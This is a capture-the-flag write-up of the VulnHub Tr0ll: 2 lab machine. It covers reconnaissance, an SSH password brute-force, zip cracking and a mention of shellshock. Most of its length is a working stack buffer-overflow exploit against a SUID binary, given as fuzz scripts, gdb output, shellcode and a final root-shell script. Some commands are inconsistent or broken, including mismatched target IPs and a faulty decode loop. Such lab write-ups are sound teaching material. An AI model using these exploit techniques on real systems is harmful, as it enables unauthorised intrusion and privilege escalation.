VulnHub Troll2

Published 03-01-2019 21:16:01

Penetration Test Report

Tr0ll: 2 is a vulnerable machine from VulnHub and can be downloaded from here


RECON


I began the recon phase by running nmap scan on TCP ports against target 10.0.2.3

Command used:

nmap -Pn -p- -A -sV 10.0.2.13

TCP PortScan

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_  256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

SERVICE ENUMERATION


Phase 1: HTTP port 80

I ran amap against the target to see of the webservice was running http alone or https on any other port

Command used:

amap -A 10.0.2.3 80
amap v5.4 (www.thc.org/thc-amap) started at 2018-09-30 16:58:24 - APPLICATION MAPPING mode

Protocol on 10.0.2.13:80/tcp matches http
Protocol on 10.0.2.13:80/tcp matches http-apache-2

Unidentified ports: none.

After confirming only http was running I then shifted by attention to scan the webservice for exposure of interesting directories

Command used:

gobuster -u http://10.0.2.13:80/ -w /usr/share/wordlists/dirb/big.txt -r
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/cgi-bin/ (Status: 403)
/index (Status: 200)
/robots (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)

Now that I have some positive directory hits from the gobuster scan results above I looked up the webpage running at port 80

A troll face image is embedded. I then looked at the source code of the webpage by pressing ctrl+u and found this interesting information

Instead of digging deeper into the information found above, I went ahead and checked the robots.txt page. It consisted of the following entries in it.

User-agent:*
Disallow:
/noob
/nope
/try_harder
/keep_trying
/isnt_this_annoying
/nothing_here
/404
/LOL_at_the_last_one
/trolling_is_fun
/zomg_is_this_it
/you_found_me
/I_know_this_sucks
/You_could_give_up
/dont_bother
/will_it_ever_end
/I_hope_you_scripted_this
/ok_this_is_it
/stop_whining
/why_are_you_still_looking
/just_quit
/seriously_stop

As seen above all the entries above had a “/” to the front and hence I copied these entries to a file called robots.txt and then I ran Gobuster once again against the target and this time using the wordlist robots.txt

/keep_trying/ (Status: 200)
/noob/ (Status: 200)
/ok_this_is_it/ (Status: 200)
/dont_bother/ (Status: 200)

I looked up the above webpages against the target IP and they all returned a cat-troll image. As I was thinking other ways to get foothold of the target, I took 2 things in mind, leave port 80 for a while and move onto ssh or ftp.

Phase 2: SSH port 22

Usually when attacking an SSH port one must either somehow gathered the credentials and use it or brute force by treat any/all information as username/password. In a pentest scenario bruteforcing is not considered an ideal way to attack SSH service unless you have completely scoured for information and nothing was found. In this scenario,

I guessed the Author field containing the name Tr0ll as a username for the SSH login.

The tool I used to bruteforce was Hydra-Gtk which is the GUI version of commandline Hydra. The image below shows the command and the passworlist(path) used in this attack.

My next attempt was to use this credentials to login via SSH.

As seen above I was being kicked out the moment I login. My guess was that theres some sort of script running that is forcing this immediate kick-out.

Next I thought of re-using these credentials tr0ll/tr0ll against the FTP service

Phase 3: FTP port 21 I was able to successfully login to FTP

I found an interesting file called lmao.zip. I then downloaded it and extracted to reveal the contents.

At this stage as I couldnt find anything potential I tracked back to enumerating the HTTP service and found a list of passwords

Phase 4: Re-Enumerating HTTP port 80

The cat troll pics I had seen earlier, I downloaded them all to my working folder. As it stands now those pictures were the ones that I hadnt done any analysis on.

I found out that one of the pic had a different size I then ran strings on this file cat_the_troll3.jpg because cat’ing the file gave me something towards the end.

I then thought this could be a possible directory and I just gave it a try,

the answer.txt has a long list of base64 encypted codes

I used curl to view and send the contents to file with the same name called answer.txt

Command used:

curl http://10.0.2.13/y0ur_self/answer.txt > answer.txt

My next step was to automate the process of decoding the base64 codes in the answer.txt file. I used a bash one liner to achieve that

Command used:

for i in $cat answer.txt; do base64 -d $i;done > pass.txt

Now that the pass.txt has all the decoded base64 codes, we need to find out which of these can unlock the password protected lmao.zip file. To do this I used a tool called fcrackzip and the password list as pass.txt

Command used:

fcrackzip -u -D -p pass.txt lmao.zip

Extracted the zip file using the password found above

and the “noob” file was actually a private key, this gave me the next steps for action which is logging into SSH via the private key

Observing the immediate “connection close” it seemed like we are in fact authenticating, but we don’t have a shell. I figured one of two things could be happening here. First, the .bashrc may have been modified with something that echoes the text TRY HARDER LOL! and exits, or there is some restriction on the SSH key for noob. I found these link1 and link2 helpful.


EXPLOITATION


With the recently disclosed shellshock bug, I thought I’d try the following command, guessing it could be a key restriction,

I was able to successfully login. Then I looked around to see if my guess on key-restrictions was right and so it was.

I uploaded linuxprivchecker.py script and ran it. While sifting through the results I saw these SUID files. Time for further investigation

As you can see below there are three r00t files in each folder door1,2,3 and the one in door2 has a slightly bigger fille size

I ran each file to see how it ran and you can see what happened below

What I think is that the first file that I ran possibly tripped a code that made these files disappear. The after a while I ran locate r00t and those files appeared back and were located in different order as oppposed the order we found earlier.

I once again ran the file under door3 and after that I couldnt even do a listing of the directory. The output is as follows.

So if I run any of the file which has 7.2k size then I cant do anything with the SUID directory.

The strategy here was to copy out the file which has 8.3k size to /tmp folder and test there for Buffer Overflow and then when succeeded we fire the exploit against the actual file of size 8.3k under whichever door it could be in.

Moving the file r00t and as we moved, it would not longer retain the SUID privs

I created a python2 program to fuzz r00t to see if its vulnerable to buffer overflow

#!/usr/bin/env python

import os

buf=['A']
counter=0
# we are creating an array of A's. Then by incrementing A's and adding it to the buf variable. Finally the counter will have 1000 A's
while len(buf) <= 100:
        buf.append('A'*counter)
        counter += 10
        #print len(buf)

for hit in buf:
        print "Hitting %s A(s) " %len(hit)
        os.system("./r00t "+''.join(hit))# notice theres a space after ./file and thats were the input string goes
        #print ''.join(hit)

after running I got a segfault error. This proves that the r00t file we have in /tmp folder is vulnerable to BO.

it looks like the overflow happened after 270 A’s and before-or-on 280 A’s. Next I wanted to install peda into target’s gdb and as git wasnt installed I manually dowloaded it into my working folder and then uploaded to /tmp folder and then installed it into existing gdb

Commands used:

wget -r -np http://10.0.2.5:8000/peda/
echo "source /tmp/10.0.2.5:8000/peda/peda.py" >> ~/.gdbinit
echo "thats it and you're good to go"

I checked for ASLR status and it was off

I used ldd to check the address of the shared libraries for r00t and it was static and not changing. This again assures that ASLR is off

Next I loaded r00t into gdb and did a checksec

no security!

Again I loaded r00t in gdb, set a pattern of 500 random values to pin-point the offset, ran the program, hit the segfault and then did a “pattern_search” to found the offset to be 268

gdb-peda$ quit
noob@Tr0ll2:/tmp$ gdb r00t 
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Traceback (most recent call last):
  File "peda.py", line 29, in <module>
    import six
ImportError: No module named six
Reading symbols from /tmp/r00t...done.
gdb-peda$ pattern arg 500
Set 1 arguments to program
gdb-peda$ run

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x1f4 
EBX: 0xb7fd1ff4 --> 0x1a5d7c 
ECX: 0x0 
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x64254148 ('HA%d')
ESP: 0xbffffb00 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x210286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41332541
[------------------------------------stack-------------------------------------]
0000| 0xbffffb00 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
0004| 0xbffffb04 ("eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIA"...)
0008| 0xbffffb08 ("A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs"...)
0012| 0xbffffb0c ("%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJ"...)
0016| 0xbffffb10 ("5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA"...)
0020| 0xbffffb14 ("A%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5As"...)
0024| 0xbffffb18 ("%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsg"...)
0028| 0xbffffb1c ("LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 in ?? ()
gdb-peda$ pattern_search 
Registers contain pattern buffer:
EIP+0 found at offset: 268
EBP+0 found at offset: 264
Registers point to pattern buffer:
[ESP] --> offset 272 - size ~203
Pattern buffer found at:
0xb7fda000 : offset    0 - size  500 (mapped)
0xbffff9f0 : offset    0 - size  500 ($sp + -0x110 [-68 dwords])
0xbffffcb0 : offset    0 - size  500 ($sp + 0x1b0 [108 dwords])
References to pattern buffer found at:
0xb7fd2a24 : 0xb7fda000 (/lib/i386-linux-gnu/libc-2.15.so)
0xb7fd2a28 : 0xb7fda000 (/lib/i386-linux-gnu/libc-2.15.so)
0xb7fd2a2c : 0xb7fda000 (/lib/i386-linux-gnu/libc-2.15.so)
0xb7fd2a30 : 0xb7fda000 (/lib/i386-linux-gnu/libc-2.15.so)
0xb7fd2a38 : 0xb7fda000 (/lib/i386-linux-gnu/libc-2.15.so)
0xb7fd2a3c : 0xb7fda000 (/lib/i386-linux-gnu/libc-2.15.so)
0xbffff4fc : 0xbffff9f0 ($sp + -0x604 [-385 dwords])
0xbffff9e4 : 0xbffff9f0 ($sp + -0x11c [-71 dwords])
0xb7f96639 : 0xbffffcb0 (/lib/i386-linux-gnu/libc-2.15.so)
gdb-peda$ 

modified fuzz script as below

#!/usr/bin/env python

import os
exp='A'*268 + 'B'*4 + 'C'*(500-268-4)

os.system("gdb --args r00t "+exp)

#buf=['A']
#counter=0
# we are creating an array A's by a incrementing A's and adding it to the buf variable. Finally the counter will have 1000 A's
#while len(buf) <= 100:
       # buf.append('A'*counter)
       # counter += 10
        #print len(buf)

#for hit in buf:
#        print "Hitting %s A(s) " %len(hit)
#        os.system("./r00t "+''.join(hit))# notice theres a space after ./file and thats were the input string goes
        #print ''.join(hit)

Note: As I knew the offset for crashing the binary is at 268 then EIP will point at the next 4 bytes of the memory space after the offset 268. Hence I used ‘B’x4 confidently and the rest filled with C’s

From the above result we infer that EIP is controlled with 4 B’s and ESP is filled with C’s in the mean while lets have a shellcode ready

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

Now to find jmp esp

gdb-peda$ jmpcall esp
Not found
gdb-peda$ jmpcall esp libc
...snipped
0xb7f85f2b : jmp esp
...snipped

instruction to address format: \x2b\x5f\xf8\xb7 (remove the 0x and write in reverse order with “\x” as prefix.

Pre-final exploit. I tested this script on the vulnerable file in “/tmp” folder

#!/usr/bin/env python

import os

jmpesp = "\x2b\x5f\xf8\xb7"
#24 bytes shellcode
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
exp='A'*268 + jmpesp + '\x90'*10 + shellcode + 'C'*(500-268-4-10-len(shellcode))

os.system("gdb --args r00t "+exp)

#buf=['A']
#counter=0
# we are creating an array A's by a incrementing A's and adding it to the buf variable. Finally the counter will have 1000 A's
#while len(buf) <= 100:
       # buf.append('A'*counter)
       # counter += 10
        #print len(buf)

#for hit in buf:
#        print "Hitting %s A(s) " %len(hit)
#        os.system("./r00t "+''.join(hit))# notice theres a space after ./file and thats were the input string goes
        #print ''.join(hit)

After running the program you could see it popped the /bin/dash shell

Next we modiy the script to run directly against the vulnerable SUID r00t. So I do an ls -alRh against the /nothing_to_see_here/choose_wisely/ folder to see under which door does the 8.3k fle sized r00t is available and then edit the script to execute it

Final script:

#!/usr/bin/env python

import os

jmpesp = "\x2b\x5f\xf8\xb7"
#24 bytes shellcode
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
exp='A'*268 + jmpesp + '\x90'*10 + shellcode + 'C'*(500-268-4-10-len(shellcode))

os.system("cd /nothing_to_see_here/choose_wisely/door2 && ./r00t "+exp)

#buf=['A']
#counter=0
# we are creating an array A's by a incrementing A's and adding it to the buf variable. Finally the counter will have 1000 A's
#while len(buf) <= 100:
       # buf.append('A'*counter)
       # counter += 10
        #print len(buf)

#for hit in buf:
#        print "Hitting %s A(s) " %len(hit)
#        os.system("./r00t "+''.join(hit))# notice theres a space after ./file and thats were the input string goes
        #print ''.join(hit)

Gained full root access.

Proof.txt

This was the program that locked me up for 2 mins

# cat hardmode.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char ** argv)
{
	printf("\n2 MINUTE HARD MODE LOL\n");
	if(!fork())
	{
		
		system("/bin/chmod 600 /bin/ls");
		sleep(120);
		system("/bin/chmod 777 /bin/ls");
	}

}

this is the program that created the random dir

# cat ran_dir.py
#!/usr/bin/env python
import random
import shutil
import os

source1 = "/root/core1/"
source2 = "/root/core2/"
source3 = "/root/core3/"
source4 = "/root/core4/"

dest= "/nothing_to_see_here/choose_wisely/"

lottery = random.randrange(1,5)

def choice():
	if lottery == 1:
		os.system("rm -r /nothing_to_see_here/*")
		shutil.copytree(source1, dest, symlinks = False, ignore = None)
	elif lottery == 2:
		os.system("rm -r /nothing_to_see_here/*")
		shutil.copytree(source2, dest, symlinks = False, ignore = None)
	elif lottery == 3:
		os.system("rm -r /nothing_to_see_here/*")
		shutil.copytree(source3, dest, symlinks = False, ignore = None)
	elif lottery == 4:
		os.system("rm -r /nothing_to_see_here/*")
		shutil.copytree(source4, dest, symlinks = False, ignore = None)
choice()
os.system("chmod -R u+s /nothing_to_see_here")

comments powered by Disqus